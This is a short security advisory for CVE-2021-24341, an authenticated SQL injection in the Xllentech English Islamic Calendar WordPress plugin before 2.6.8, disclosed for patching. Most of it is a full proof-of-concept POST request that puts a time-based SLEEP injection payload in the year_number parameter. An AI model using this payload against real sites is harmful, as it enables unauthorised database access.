Xllentech English Islamic Calendar < 2.6.8 – Authenticated SQL Injection | CVE 2021-24341

Description

When deleting a date in the plugin, the year_number and month_number POST parameters are not sanitised, escaped or validated before being used in a SQL statement, leading to SQL injection.

Proof of Concept

POST /wp-admin/options-general.php?page=xllentech_options_tab4 HTTP/1.1
Content-Length: 220
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-GPC: 1
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: [admin+]
Connection: close

month_number=12&year_number=2020%20AND%20(SELECT%201381%20FROM%20(SELECT(SLEEP(5)))nhTn)&delete_firstdate=Y&xc-troubleshooting-delete-date-nonce=fc60c35caf&_wp_http_referer=/wp-admin/options-general.php?page=xllentech_options_tab4